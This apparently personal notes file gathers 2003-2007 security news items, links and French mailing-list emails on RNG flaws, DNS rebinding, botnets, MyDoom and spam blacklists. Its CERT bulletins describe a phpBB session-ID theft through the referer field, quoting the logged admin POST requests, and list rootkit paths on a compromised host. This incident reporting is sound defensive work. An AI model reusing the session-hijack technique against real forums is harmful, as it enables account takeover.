\iffalse "Security Loophole Found in Microsoft Windows" University of Haifa (11/12/07) A group of researchers in Israel notified Microsoft that they have discovered a security loophole in the Windows 2000 operating system. The researchers say they have found a way to decipher how Windows' random number generator works, compute previous and future encryption keys used by a computer, and monitor private communication. The security loophole jeopardizes emails, passwords, and credit card numbers entered into a computer. "This is not a theoretical discovery," says Dr. Benny Pinkas from the Department of Computer Science at the University of Haifa, who headed the research initiative. "Anyone who exploits this security loophole can definitely access this information on other computers." The researchers say the newer versions of Windows may also be vulnerable if Microsoft uses similar random number generator programs. They say Microsoft should improve the way it encodes information and even consider publishing its code for random number generators so outside computer security experts can test them. The researchers' findings were presented at the ACM Conference on Computer and Communications Security in Alexandria, Va., Oct. 29-Nov. 2, 2007, in a paper titled "Cryptanalysis of the Windows Random Number Generator." http://media.haifa.ac.il/index.php?option=com_content&task=view&id=2898&Itemid=60 Stanford University Ph.D. student Adam Barth participated in a study that determined that Web browsers are still vulnerable to DNS rebinding. He says in an interview that rebinding attacks are successful because browsers and plug-ins employ DNS host names to distinguish between different origins, but browsers do not really communicate with the hosts by name--they must first use DNS to align the host name with an IP address and then communicate with the host through its IP address. DNS rebinding can be used to bypass firewalls or to temporarily commandeer a client's IP address to issue spam email or defraud pay-per-click advertisers. Barth says the solution used to fix the classic DNS rebinding vulnerability--DNS pinning--no longer effectively defends against the vulnerability because today's browsers contain many different technologies that allow network access, such as Java and Flash. These technologies support separate pin databases, but are allowed to communicate within the browser. Barth says an effective defense against firewall circumvention is the configuration of DNS resolvers not to bind host names to internal IP addresses, while host name authorization can prevent DNS rebinding vulnerabilities in the longer term. "I'm hopeful the vendors will reach a consensus to fix these issues using host name authorization, but this requires the vendors to cooperate with each other," he notes. Barth says DNSSEC offers no protection against DNS rebinding attacks because it is designed to prevent pharming not rebinding. Barth and fellow members of the Stanford Web Security Lab are presenting a paper on DNS rebinding at the 2007 ACM Conference on Computer and Communications Security, Oct. 29-Nov. 2, in Alexandria, Va. For more information about the conference, visit http://www.sigsac.org/ccs.html http://www.securityfocus.com/columnists/455 From: Laurent DAVERIO Subject: Re: scans SSH intensifs To: Georges-André Silber CC: Fabien COELHO , Responsables systemes du CRI Date: Mon, 22 Oct 2007 10:37:58 +0200 > Si si si, moi ça m'intéresse notamment pour la dedibox où il y a LHEO, > mais je n'ai pas encore eu le temps de regarder. > Il y a aussi babel qui sert en Debian... Franchement, il n'y a pas vraiment de boulot : # apt-get install fail2ban => A ce stade, il est installé et lancé. iptables -L pour voir le résultat. # vi /etc/fail2ban.conf (pour rajouter quelques IP en whitelist, par précaution, et éventuellement modifier les seuils de blocage) # /etc/init.d/fail2ban restart Mais je reconnais tout à fait qu'il est plus prudent de l'installer d'abord sur des machines auxquelles on a physiquement accès :-) Laurent. http://it.slashdot.org/article.pl?sid=07/10/14/0115251 The Washington Post has an article detailing what is known of the workings of the Russian Business Network, a shadowy entity based in St. Petersburg that hosts a good fraction of the world's spammers, identity thieves, bot herders, and phishers. RBN is not incorporated anywhere and may not technically even be violating Russian law. It provides "bulletproof hosting" for about $600 a month to a wide range of bad guys.The author of the Post story, Brian Krebs, supplements it with two blog posts. One provides more detail and back story including a look at one ISP's security admin who decided last summer to ban all RBN traffic from his network, with outstanding results. The other post maps some of the RBN's upstream suppliers and details the extent of the RBN's involvement in recent cyber-attacks: "Nearly every major advancement in computer viruses or worms over the past two years has emanated from or sent stolen consumer data back to servers" in the RBN. http://it.slashdot.org/article.pl?sid=07/08/26/1558245&from=rss """ We've gotten a number of submissions about the new tricks the massive Storm botnet has been up to. Estimates of the size of this botnet range from 250K-1M to 5M-10M compromised machines. Reader cottagetrees notes a writeup at Exploit Prevention Labs on a new social engineering attack involving YouTube. The emails, which may be targeted at people who use private domain registrations, warn the recipient that their "face is all over 'net" on a YouTube video. The link is to a Storm-infected bot that attacks using the Q4Rollup exploit (a package of about a dozen encrypted exploits). And reader thefickler writes that the recent wave of "confirmation spam" is also due to Storm, as was the earlier, months-long "e-card from a friend" series of attack emails. """ http://it.slashdot.org/it/07/09/07/122200.shtml Stony Stevenson writes to mention that some security researchers are claiming that the Storm Worm has grown so massive that it could rival the world's top supercomputers in terms of raw power. "Sergeant said researchers at MessageLabs see about 2 million different computers in the botnet sending out spam on any given day, and he adds that he estimates the botnet generally is operating at about 10 percent of capacity. 'We've seen spikes where the owner is experimenting with something and those spikes are usually five to 10 times what we normally see,' he said, noting he suspects the botnet could be as large as 50 million computers. 'That means they can turn on the taps whenever they want to.'" From: Serge ALGAROTTI Subject: [RESPINFO] [SECURITE] web Nikto To: Respinfos Date: Thu, 30 Aug 2007 13:40:09 +0200 Bonjour, cet outil me semble intéressant pour faire une première analyse de la sécurité des serveurs webs: Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3300 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated (if desired). Nikto is not designed as an overly stealthy tool. It will test a web server in the shortest timespan possible, and it's fairly obvious in log files. However, there is support for LibWhisker's anti-IDS methods in case you want to give it a try (or test your IDS system). Not every check is a security problem, though most are. There are some items that are "info only" type checks that look for items that may not have a security flaw, but the webmaster or security engineer may not know are present on the server. These items are usually marked appropriately in the information printed. There are also some checks for unknown items which have been seen scanned for in log files. http://www.cirt.net/code/nikto.shtml "AT&T Invents Programming Language for Mass Surveillance" Wired News (10/29/07); Singel, Ryan AT&T researchers have developed Hancock, a C language-based programming language designed to mine the company's telephone and internet records for surveillance data. A recently discovered AT&T research paper published in 2001 shows how the phone company uses Hancock-based software to process tens of millions of long distance phone records to create "communities of interest," or calling circles that show who people are talking to. Hancock was developed in the late 1990s to develop marketing leads and as a security tool to see if new customers called the same numbers as previously disconnected fraudsters, which the research paper called "guilt by association." Hancock-based programs work by analyzing data as it enters a data warehouse, a significant difference from traditional data-mining tools that tend to look for patterns in static databases. A 2004 paper published in ACM Transactions on Programming Languages and Systems demonstrates how Hancock can sort through calling card records, long distance calls, IP addresses and Internet traffic dumps, and even track the movement of a cell phone as it switches between signal towers. http://blog.wired.com/27bstroke6/2007/10/att-invents-pro.html Pour nos propres besoins, nous avons essayé de faire un point sur les mesures à prendre pour protéger nos utilisateurs des attaques XSS qui pourraient utiliser nos applications. Ce travail de David Verdin a été mis en ligne car nous pensons qu'il peut vous aider dans vos propres démarches : http://www.cru.fr/documentation/analyses/xss http://www.zdnet.fr/actualites/informatique/0,39040745,39370224,00.htm Sécurité - D'ici à la fin de l'année, le grand public et les PME disposeront d'un portail dédié à la sécurité informatique. Selon les informations de ZDNet.fr, ils accéderont à des alertes de sécurité, des fiches pratiques et des outils pour se protéger. http://www.theregister.co.uk/2007/09/26/gmail_backdoor_vulnerability/ From: Jose Marcio Martins da Cruz Subject: [RESPINFO] Home Users: A Public Health Problem? To: respinfo Date: Tue, 25 Sep 2007 15:36:21 +0200 Paru dans Crypto-Gram de semptembre : http://www.schneier.com/crypto-gram-0709.html ***************************************************** Home Users: A Public Health Problem? To the average home user, security is an intractable problem. Microsoft has made great strides improving the security of their operating system "out of the box," but there are still a dizzying array of rules, options, and choices that users have to make. How should they configure their anti-virus program? What sort of backup regime should they employ? What are the best settings for their wireless network? And so on and so on and so on. How is it possible that we in the computer industry have created such a shoddy product? How have we foisted on people a product that is so difficult to use securely, that requires so many add-on products? It's even worse than that. We have sold the average computer user a bill of goods. In our race for an ever-increasing market, we have convinced every person that he needs a computer. We have provided application after application -- IM, peer-to-peer file sharing, eBay, Facebook -- to make computers both useful and enjoyable to the home user. At the same time, we've made them so hard to maintain that only a trained sysadmin can do it. And then we wonder why home users have such problems with their buggy systems, why they can't seem to do even the simplest administrative tasks, and why their computers aren't secure. They're not secure because home users don't know how to secure them. At work, I have an entire IT department I can call on if I have a problem. They filter my net connection so that I don't see spam, and most attacks are blocked before they even get to my computer. They tell me which updates to install on my system and when. And they're available to help me recover if something untoward does happen to my system. Home users have none of this support. They're on their own. This problem isn't simply going to go away as computers get smarter and users get savvier. The next generation of computers will be vulnerable to all sorts of different attacks, and the next generation of attack tools will fool users in all sorts of different ways. The security arms race isn't going away any time soon, but it will be fought with ever more complex weapons. This isn't simply an academic problem; it's a public health problem. In the hyper-connected world of the Internet, everyone's security depends in part on everyone else's. As long as there are insecure computers out there, hackers will use them to eavesdrop on network traffic, send spam, and attack other computers. We are all more secure if all those home computers attached to the Internet via DSL or cable modems are protected against attack. The only question is: what's the best way to get there? I wonder about those who say "educate the users." Have they tried? Have they ever met an actual user? It's unrealistic to expect home users to be responsible for their own security. They don't have the expertise, and they're not going to learn. And it's not just user actions we need to worry about; these computers are insecure right out of the box. The only possible way to solve this problem is to force the ISPs to become IT departments. There's no reason why they can't provide home users with the same level of support my IT department provides me with. There's no reason why they can't provide "clean pipe" service to the home. Yes, it will cost home users more. Yes, it will require changes in the law to make this mandatory. But what's the alternative? In 1991, Walter S. Mossberg debuted his "Personal Technology" column in The Wall Street Journal with the words: "Personal computers are just too hard to use, and it isn't your fault." Sixteen years later, the statement is still true -- and doubly true when it comes to computer security. If we want home users to be secure, we need to design computers and networks that are secure out of the box, without any work by the end users. There simply isn't any other way. This essay is the first half of a point/counterpoint with Marcus Ranum in the September issue of "Information Security." You can read his reply here: http://www.ranum.com/security/computer_security/editorials/point-counterpoint/homeusers.htm RFC 4086 : Randomness Requirements for Security http://www.bortzmeyer.org/4086.html http://www.gentoo.org/proj/en/hardened/hardened-toolchain.xml#RELRO http://www.owasp.org http://www.ssi.gouv.fr http://www.ssi.gouv.fr/fr/confiance/methodologie.html http://www.betanews.com/article/OneCare_Deletes_Users_Outlook_Files/1173474996 http://www.brynosaurus.com/pub/net/p2pnat/ Peer-to-Peer Communication Across Network Address Translators Bryan Ford http://www.php-security.org/index.html Message (or rather MML) currently support PGP (RFC 1991), PGP/MIME (RFC 2015/3156) and S/MIME. Covert and Side Channels due to Processor Architecture. Zhenghong Wang, Princeton University Ruby Lee, Princeton University Regarder mes notes sur ACSAC regarder workshop de ACSAC 2006 mitre.org cve.mitre.org : vulnérabilités cce.mitre.org : configuration settings cpe : software and packages and platforms cme : malware threats checklists.nist.gov Parler du cross-site scripting (XSS) stunnel, httptunnel, openvpn, nstx http://www.cl.cam.ac.uk/~rja14/book.html http://www.cours.polymtl.ca/inf6420/Documentation.htm Compromissions de la semaine -------------------------- Deux cas de compromission de serveur web via des failles du serveur web Apache ou d'une application PHP ont ete signale. Un cas de modification de site web via une faille deja signalee dans les STAT06 sur le forum phpbb a ete identifie. L'attaque a permis au pirate d'utiliser les droits de l'administrateur du forum. Elle se fonde sur utilisation non prevu du champ referer pour sniffer et recuperer le session ID (SID) apres que l'administrateur du forum soit alle consulter le profil ou un post contenant une image hebergee chez le pirate. Ainsi il devient possible de recuperer le SID de l'admin ou du moderateur pour modifier la page d'accueil ou saboter le forum via des requetes du type: "POST /forum/admin/admin_users.php?sid=b1c8e3c144...eb23 HTTP/1.1" 200 "POST /forum/admin/admin_board.php?sid=b1c8eb3214...6ab9 HTTP/1.1" 200 [CC 02] Critères Communs pour l évaluation de la sécurité des technologies de l information. Parties 1, 2 et 3. Version 2.2. Janvier 2004. [CC 99] Common Criteria for Information Technology Security Evaluation. Norme ISO 15408. Version 2.1. Aout 99. : Jacques Beigbeder Subject: [ensnet] [IMPORTANT] à propos de Spamcop To: ensnet@ens.fr Date: Tue, 3 Jan 2006 11:14:49 +0100 Bonjour et meilleurs voeux. La semaine dernière, le serveur de mails sortants de l'ENS a été dans la blacklist gérée par Spamcop. Dans la page: http://www.spamcop.net/fom-serve/cache/297.html il est écrit: * The SCBL is an aggressive spam-fighting tool. By using this list, you can block a lot of spam, but you also may block or filter wanted email. Because of this limitation, one should strongly consider using the SCBL as part of a scoring system and explicitly whitelist wanted email senders (e.g., mailing lists and other IPs from which you want to receive email). Hélas plein de sites refusent les mails si le serveur qui émet est dans Spamcop. Exemples: cegetel.net, umd.edu, weizmann.ac.il, uni-koblenz.de. ===================================================================== Spamcop dit donc être "aggressive" et il considère tout retour de mail comme un souci. Cela va loin: ( http://www.spamcop.net/fom-serve/cache/329.html ) Problem: The traditional auto-responder Description: A message is sent in response to inbound email informing the purported sender that you are on vacation, listing FAQs or otherwise sending a standard message - all too often, to the wrong person. Donc tout message géré par vacation(1) est un souci: vacances, message indiquant une nouvelle adresse, etc. Oui, on confine à l'absurde... ===================================================================== Jusqu'en novembre, on avait reçu quelques annonces de bounces de spamcop. Depuis il faut deviner... plus d'info ne filtre. Leurs raleries précédentes: 1/ les bounces sur 'User unknown'. J'ai supprimé début 2005 via milter-ahead sur nef.ens.fr. 2/ des messages d'antivirus mal configurés. Normal, on a corrigé. 3/ les bounces sur spam reçus. Maintenant en extinction. 4/ un bounce de sympa and co. A savoir un spammeur écrit une c...rie à , et sympa@ens.fr répond: Command not recognized Idem si un spammeur écrit un message à une liste fermée. Sympa répond: You are not a subscriber. ou Votre message pour la liste XXXX a été transmis aux modérateurs. Parade: mettre un anti-spam en frontal de sympa. Mais problème non trivial! Sinon, en lisant la mailq sur nef, j'ai relevé un certain nombre de fautes. Et je vais aviser les administrateurs locaux de ce qui peut (doit!) être supprimé. ---- Autres remarques: - Spamcop est géré par une société commerciale (Ironport), qui vend des services de mail: émission en masse, filtrage. D'ici à ce que la multiplication des incidents soit dans leur stratégie commerciale... - le 19 décembre, on a reçu 7 spams de adt@0926.com, émis par des machines en Turquie. Bizarrement 0926.com a comme MX bl.spamcop.net! Un de leurs spamtrap?? - le 1er janvier, un mail émis par , mais transmis par cpe-69-203-117-221.nyc.res.rr.com !! - Spamcop a des méthodes secrètes. La page: http://www.spamcop.net/w3m?action=blcheck&ip=129.199.96.40 indiquait System has sent mail to SpamCop spam traps in the past week (spam traps are secret En termes de volumes, un incident précédent indiquait uniquement 3 mails en 3 jours, suffisant quand même... --Jacques Beigbeder http://www.sans.org/top20/ http://www.eff.org/deeplinks/archives/004138.php http://www.cert.org/stats/cert_stats.html * rootkit hunter http://www.rootkit.nl/ * chkrootkit http://www.chkrootkit.org/ http://slashdot.org/articles/05/03/05/2242213.shtml?tid=126&tid=98&tid=201 http://lcamtuf.coredump.cx/newtcp/ From: Serge ALGAROTTI Subject: [RESPINFO] [SECURITE] Rapport CLUSIF 2004 To: Respinfos Date: Thu, 27 Jan 2005 17:56:00 +0100 Bonjour, je vous conseille la lecture de: Panorama de la Cybercriminalité - année 2004. 13 janvier 2005 Le CLUSIF a dressé le panorama de la cybercriminalité en 2004 en dégageant les dernières tendances et en mettant en évidence l'émergence de nouveaux risques liés au développement des technologies de l'information, etayé par de nombreux cas concrets. cf https://www.clusif.asso.fr/fr/infos/event/index.asp http://www.cs.uu.nl/people/henkp/henkp/pgp/pathfinder From: Serge ALGAROTTI Subject: [RESPINFO] SEC Info : seminaire SPAMs To: Respinfos Date: Tue, 18 Jan 2005 13:35:34 +0100 Bonjour, === Le séminaire Aristote du 20 Janvier sera retransmis en direct sur Renater, comme d'habitude. Le programme du séminaire : Comment lutter contre les SPAMS et autres formes de pollution électronique. Organisateur : Jean-Luc Parouty (CNRS). Détails : voir : http://www.aristote.asso.fr/sem/semnext.html Il y a des gens connus ;-) La retransmission : voir : http://www.aristote.asso.fr/sem/SXA_Retransmission.htm === On a pas à se plaindre :-) : "Les filtres d'AOL bloquent jusqu'à 2, 6 milliards de mails par jour" !!! -- Serge ALGAROTTI [http://www-cemef.cma.fr/] Ecole des Mines de Paris / CEMEF UMR CNRS 7635 [tel 04 93 95 74 02] http://www.techworld.com/security/news/index.cfm?NewsID=2983&Page=1&pagePos=19 20 January 2005 Linux servers safer than ever That's according to honeypot security researchers. By Matthew Broersma, Techworld Attackers are no longer bothering to attack average Linux systems, because there's so much more money to be made from invading Windows, according to security researchers. The Honeynet Project, which sets up ordinary seeming Linux networks in order to observe attack activity, found that the life expectancy of such systems has dramatically increased from a year or two ago. Its 2004 findings, published recently, found an unpatched Linux system lasts, on average, three months before it is compromised, compared to about 72 hours for 2001-2002. Some of the project's systems were exposed to the Internet for nine months without a successful attack. The project's "honeynets" - networks of two or more "honeypots" - are designed to detect random attacks on the Internet, carried out on targets detected through random searching, scanning and hacking systems such as worms and autorooters, rather than particular attacks focussed on specific, high-value targets. A honeypot is a system set up for the purpose of attracting random attack activity. Since overall Internet attacks don't seem to be going down, the project's researchers theorised that the focus of hacking activity has shifted to Windows systems, simply because the platform is so widespread that it presents an irresistible target. "It's now easier to hack the end user than hacking the bank," Honeynet Project president Lance Spitzner told Techworld. "Banks are well protected, end users are not. Hack enough end users, and you can make as much, if not more, than hacking the bank." While the project didn't carry out comparative research using Windows, Spitzner pointed out that research from security organisations such as Symantec and and the Internet Storm Center (ISC) has found no shortage of attacks on Windows honeypots. For example, an ISC project measuring the survival time for Windows systems, found here, measures survival time in minutes rather than hours. The average survival time for the systems the ISC tests has declined from about 55 minutes in the autumn of 2003 to just under 20 minutes at the end of 2004, although the figures have been improving gradually from a low of 15 minutes in the spring of 2004. Microsoft says survival rates for Windows should decline as Windows XP Service Pack 2 becomes more widely used - the update is designed to make Windows' default configuration more secure. The project deliberately focussed on average systems that didn't present any particular attraction to attackers - in the real world, the equivalent would be home networks or small and medium-sized businesses. The project deployed 12 honeynets in eight countries (the US, India, the UK, Pakistan, Greece, Portugal, Brazil and Germany), consisting of a total of 24 unpatched Unix and Unix-like honeypots. Nineteen of the systems were Linux, mostly Red Hat, including one Red Hat 7.2 system, five Red Hat 7.3, one 8.0, eight 9.0 and two Fedora Core 1 systems. Other deployments included one Suse 7.2, one Suse 6.3, two Solaris Sparc 8, two Solaris Sparc 9 and one Free-BSD 4.4 Services such as SSH, HTTPS, FTP, SMB were enabled, with inbound connections to these services allowed; some of the systems also used insecure or easily guessed passwords. The systems weren't registered in DNS or search engines, so they could only be found by automated means. The situation for high-value Linux systems, such as company Web servers, CVS repositories or research networks is potentially very different, Spitzner said. "I'm sure these high-value Linux systems are prime targets and are attacked every day, if not every hour. If vulnerable, they would be hacked very soon," he said. Older Linux systems were more likely to be successfully attacked than newer deployments, when left unpatched, probably because more vulnerabilities have been uncovered and attackers have had time to learn which exploits work, the project found. This also reflects the fact that default Linux installations are becoming more secure, the project said. Once compromised, attackers used the systems mainly for IRC bouncing, bots and to host phishing scams, the project found. On at least one of the systems attackers attempted to set up a fake bank in order to harvest bank and credit card information. The Honeynet Project is a non-profit research organisation supported by a number of security companies, including Foundstone, Counterpane, SecurityFocus.com and SourceFire. From: Jose Marcio Martins da Cruz Subject: [RESPINFO] Politique de gestion de traces au CNRS To: respinfo@ensmp.fr Date: Tue, 18 Jan 2005 12:24:54 +0100 Organization: Ecole des Mines de Paris Bonjour, Pour information. Sur le site du CNRS, l'on trouve la strategie du CNRS en ce qui concerne la gestion des fichiers de log et des traitement. https://intranet.cnrs.fr/extranet/cnrs/fsd/index.htm Les deux premiers liens : Decision... et Politique de gestion de traces. Le deuxieme document est tres interessant. Grosso modo, les labos du CNRS qui se cadrent dans cette politique n'ont pas besoin d'effectuer des declarations a la CNIL, mais informer les instances concernes (conseil de laboratoire, information dans la charte, ...). Si les traitements ne rentrent pas dans ce moule, il faut alors effectuer une declaration a la CNIL. Amities, Jose-Marcio Les droits ugo arrivent trop tard, Devrait arriver avant x et s https://www.urec.cnrs.fr/securite/corres-secu/index.html From: Francois IRIGOIN Subject: Fwd: Government Uses Color Laser Printer Technology to Track Documents To: all@cri.ensmp.fr Cc: JudyIrigoin@hotmail.com, stevemosser@btinternet.com, Olivier_Krumeich@hp.com Date: Thu, 25 Nov 2004 11:52:36 +0100 (MET) Reply-To: Francois IRIGOIN "Government Uses Color Laser Printer Technology to Track Documents" Medill News Service (11/22/04); Tuohey, Jason For decades, color laser printers from Xerox and other companies have been modified to embed their serial number and manufacturing code on each document the machines produce for the purpose of tracking down forgers. Xerox research fellow Peter Crean says his company's printers code these numbers in millimeter-sized yellow dots that are invisible to the naked eye, but are revealed through close examination when shining a blue LED light on the printout. "It's a trail back to you, like a license plate," he notes. Crean says his company originated the technology about 20 years ago to address concerns that Xerox color printers could be easily employed to forge bills. He says the encoding is performed by a chip positioned deep within the printer's innards, close to the laser, that cannot be disabled by "standard mischief." Crean says that law enforcement in the United States and other countries use the technology to trace counterfeiters. The embedded serial numbers could also be used to track down any person or business that printed a document, but Lorelei Pagano with the U.S. Secret Service insists that the government only authorizes the use of the technology for information-gathering in the case of criminal acts. This has done nothing to assuage the fears of lawyer John Morris with The Center for Democracy and Technology, who argues that consumers must at the very least be notified of the technology's presence in the machines. http://it.slashdot.org/it/04/10/29/1353206.shtml?tid=179&tid=172&tid=3 "The National Security Agency has just released a Security Configuration Guide for Apple Mac OS X (pdf). The guide mostly contains common sense configuration information that applies to many Unix systems. It also includes specific discussion for Apple's unique features such as Keychain and FileVault. It should be useful to most Mac OS X users and will be particularly useful for US Government organisations that use Mac OS X and for commercial IT Departments that are supporting Mac OS X. A range of other NSA Security Configuration guides for other operating systems, applications, and IT kit are also available." === mi2g a déjà publié plus d'une étude fantaisiste par le passé, il faut donc prendre celle qui suit avec les précautions d'usage : Study Recommends Mac OS X as Safest OS http://it.slashdot.org/it/04/11/02/1722237.shtml?tid=172&tid=179&tid=190 The British security firm mi2g has concluded a comprehensive 12-month study to identify the safest 24/7 computing environment. In the end, the open source BSD and Mac OS X came out on top with the fewest security breaches against permanently connected machines worldwide in homes, small businesses, large enterprises and governments. The study found Linux to be the most breached environment 'in terms of manual hacker attacks overall and accounts for 65.64% of all breaches recorded'. Windows was the most breached environment in government computing and led Linux, BSD and Mac OS X by far in economic damage caused by breaches." We mentioned their previous study too. As before, the study ignores the thousands of automatically-spreading viruses for Windows. http://www.easynews.com/virus.html A signaler une étude du SANS: un PC sous Windows XP non patché tient en moyenne 20 minutes avant d'être tombé (ver, virus, etc.). Ceci est plus court que le temps nécessaire pour faire une mise à jour! Donc les particuliers à domicile sans protection doivent se faire du souci: http://www.securityfocus.com/columnists/262 http://isc.sans.org/survivalhistory.php Une autre étude a aussi montré la vulnérabilité des téléphones portables, de plus en plus intelligents car programmables. Un cas a même été programmé en vrai: il "sautait" de téléphone en téléphone dans la rue, en détectant les autres appareils Bluetooth qui passaient à côté... Critères communs /www.wordiq.com/definition/Diffie-Hellman From: Nicolas FISCHBACH Subject: [FRnOG] Les FAI face aux virus et aux vers To: frnog@frnog.org Date: Thu, 06 May 2004 14:51:00 +0200 Reply-To: frnog@frnog.org Bonjour, Suite aux demandes hors liste, j'ai mis les transparents de la presentation faite lors de la JSSI2004 de l'OSSIR en ligne: PPT: http://www.securite.org/presentations/ddos/JSSI2004-NF-FAIVirusVers-v1.ppt PDF: http://www.securite.org/presentations/ddos/JSSI2004-NF-FAIVirusVers-v1.zip Nico. -- Nicolas FISCHBACH (nico@securite.org) Senior Manager - IP Engineering/Security - COLT Telecom Securite.Org Team Une conf de Marc Espie sur OpenBSD ? http://www.onlamp.com/pub/a/bsd/2004/03/18/marc_espie.html From: Jacques Beigbeder Subject: [enssec] la semaine du 12 au 18 mars To: enssec@ens.fr Date: Mon, 22 Mar 2004 11:06:09 +0100 Pour la petite histoire: http://story.news.yahoo.com/news?tmpl=story&cid=1804&ncid=738&e=6&u=/washpost/20040321/tc_washpost/a11310_2004mar20 http://xforce.iss.net/xforce/alerts/id/167 Ou comment le firewall d'ISS est détourné par un virus pour écrire aléatoirement sur le disque dur, ce qui a un bel effet destructeur! Ver/virus Mydoom Nous avons deja evoque le ver/virus MyDoom dans ses versions A et B, ces deux dernieres semaines. On connait deja les ravages perpetres par le A et la relative discretion du B. MyDoom-A a contamine un nombre impressionnant de machines de par le monde laissant sur chacune une backdoor permettant a un intrus sachant s'y connecter de penetrer chaque systeme infecte a sa guise. Voici maintenant que cette semaine non pas un, ni deux mais quatre vers/virus exploitant les failles de securite ouvertes par MyDoom-A ou B ont fait leur apparition sur l'Internet. Le premier Vessel/DeadHat-A scanne le reseau et tente de se connecter sur les ports 3127/tcp, 3128/tcp et 1080/tcp de systemes infectes par MyDoom. Lorsqu'il infecte une machine il la nettoie de toute trace de MyDoom mais installe une nouvelle backdoor. Il se met en ecoute sur le port 2766/tcp et attend les connexions clientes. Si un client reussit a s'authentifier, il lui est alors possible de transferer sur le systeme un programme de son choix que le ver executera. Il cherche egakement a se par le biais de l'utilitaire de partage de fichiers SoolSeek. Une version B de ce ver est apparue depuis peu. Elle est tres similaire a la precedente. Ensuite est venu DoomJuice/MyDoom.C qui lui ne repere ses cibles qu'au moyen de scans sur le port 3127/tcp. Ce ver n'elimine pas le ver MyDoom mais serait programme pour lancer une attaque en deni de service sur le site www.microsoft.com. Qui plus est il depose sur chaque system qu'il infecte le code source du ver MyDoom.A. Depuis, une version B tres similaire a emerge qui elle, ne dissemine pas le code source du ver MyDoom.A. Enfin, DoomHunter est un ver qui comme DeadHat va tenter de nettoyer les systemes infectes par MyDoom.A ou .B. Il met aussi fin a des processus associes au ver Blaster. Aucun de ces nouveaux vers/virs ne se propage par le biais de la messagerie electronique. Leur processus est donc transparent pour l'utilisateur. On note depuis le debut de cette activite une tres forte augmentation des scans sur les ports 3128/tcp mais surtout 3127/tcp. http://www.dshield.org/port_report.php?port=3127 Si ce n'est pas deja fait, mettre en place les mesures de filtrage adequates. Qui plus est, en plus des vers, il est fort probable que des individus tentent aussi de tirer parti de ces portes providentielles ouvertes par MyDoom.A ou .B sur nombre reseaux. Soulignons le fait que de plus en plus de vers introduisent de tels mecanismes sur les systemes qu'ils infectent. Liens: MyDoom.A http://securityresponse1.symantec.com/sarc/sarc-intl.nsf/html/fr-w32.mydoom.a@mm.html Doomjuice.A http://www.sarc.com/avcenter/venc/data/w32.hllw.doomjuice.html Vesser/DeadHat-A http://www.f-secure.com/v-descs/vesser.shtml Deadhat-B http://www.symantec.com/avcenter/venc/data/w32.hllw.deadhat.b.html Doomjuice.B http://vil.nai.com/vil/content/v_101012.htm DoomHunter http://vil.nai.com/vil/content/v_101022.htm http://nomines.bigbrotherawards.eu.org/index.php?rp=1 http://www.shorewall.net/ From: Fabien COELHO Subject: Netcraft News - Tuesday, February 3, 2004 (fwd) To: Ronan KERYELL Date: Tue, 3 Feb 2004 15:00:33 +0100 (CET) Reply-To: Fabien COELHO reaction M$ au niveau du DNS vis-a-vis de mydoom.B -- Fabien. ---------- Forwarded message ---------- Date: Tue, 3 Feb 2004 00:10:08 UT From: announce@beta.netcraft.com To: coelho@cri.ensmp.fr Subject: Netcraft News - Tuesday, February 3, 2004 Microsoft shorten www.microsoft.com TTL in anticipation of MyDoom.B payload In anticipation of the MyDoom.B payload striking www.microsoft.com tomorrow, Microsoft have shortened the TTL [time to live] on its DNS entry to 60 seconds. Yesterday the TTL was set to just under an hour. Essentially, Microsoft is accepting the significantly higher load on its name servers [outsourced to Akamai] as the premium of an insurance policy in the event that it wants to move www.microsoft.com very quickly. http://news.netcraft.com/archives/2004/02/02/microsoft_shorten_wwwmicrosoftcom_ttl_in_anticipation_of_mydoomb_payload.html SCO to use new domain for the duration of MyDoom DDoS The SCO Group will use www.thescogroup.com as an alternate web site while www.sco.com remains under a denial of service attack from machines infected with the MyDoom worm, the company said today. http://news.netcraft.com/archives/2004/02/02/sco_to_use_new_domain_for_the_duration_of_mydoom_ddos.html Subscription Details To Subscribe: Send a message with " SUBSCRIBE webserver-survey " in the message body to majordomo@netcraft.com To Unsubscribe: Send a message with " UNSUBSCRIBE webserver-survey " in the message body to majordomo@netcraft.com http://www.theregister.co.uk/content/55/35145.html Faire une citation des conf juridiques http://www.stud.ntnu.no/~shane/stasj/pics/humor/div/294.html http://lists.gnupg.org/pipermail/gnupg-users/2003-November/020772.html http://www.urec.cnrs.fr/geret/03.09.garde_barriere_vpn/Programme.html 6) Disaster recovery planning. Jon William Toigo. Bulletin hebdomadaire du CERT Renater (certsvp@renater.fr) ================================================================ Bonjour, Durant la semaine du 19/09/2003 au 26/09/2003, 3 machines compromises nous ont ete signalees dont une a pu etre analysee. 1) Les pots de miel ------------------ Le principe en est simple, attirer la mouche, sa mise en application peut se reveler complexe, voire a double-tranchant. Je ne rentrerai pas dans le detail, d'autres l'ont fait auparavant et certainement mieux que je ne le ferai, vous pouvez notamment consulter le site web du projet HoneyNet, http://www.honeynet.org, et ses fameux "challenges", ou bien le numero 8 du magazine MISC qui leur est consacre (vivement le prochain SSTIC), le numero 62 de Phrack, les sites web de honeyd, VMware, UML, ... Compromission sur Solaris 7 -------------------------- Cette machine a ete compromise par l'acquisition du mot de passe d'un utilisateur distant et son utilisation pour rentrer sur un compte en SSH. A partir de ce compte, le pirate a utilise un exploit local pour obtenir les droits root. Un programme de prise de controle a distance a ete lance avec le port 55444 en ecoute. Un rootkit a ete installe par le pirate dans /kernel/sys/.xp Ce rootkit comprennait un scanner destine a reperer des demon RPC vulnerables (sur Solaris), un proxy IRC baptise xp dans /kernel/sys/.xp/bnc , un jeu de commandes alteres dans /kernel/sys/.xp/nkit et un sniffer fonctionnant comme un module systeme dans /kernel/sys/.xp/snf/ De plus, le pirate avait installe deux outils, qui s'ils avait ete operationnel, aurait rendu la vie de l'administrateur "interessante". Le premier etait un module systeme baptise Administrator's NightMare qui genere des erreurs systemes aleatoires. Le second, nomme Solaris Integrated Trojan Facility, devait permettre de doubler la fonction du rootkit en permettant une prise de controle plus discrete de la machine. From: Jacques Beigbeder Subject: [enssec] la semaine du 10 au 16 octobre To: enssec@ens.fr Date: Sat, 18 Oct 2003 10:13:37 +0200 1. Les scans à la mode sont les ports 901 et 17300. 901: c'est le port 'samba-swat'. Je vais dorénanant le bloquer en entrée de site. 2. Le Cert allemand nous a informé d'une machine attaquée dans leur domaine. Quelques commentaires: - les écoutes réseaux marchent moins, plein de gens sont en SSH ou autre forme de cryptage. Simple alors: 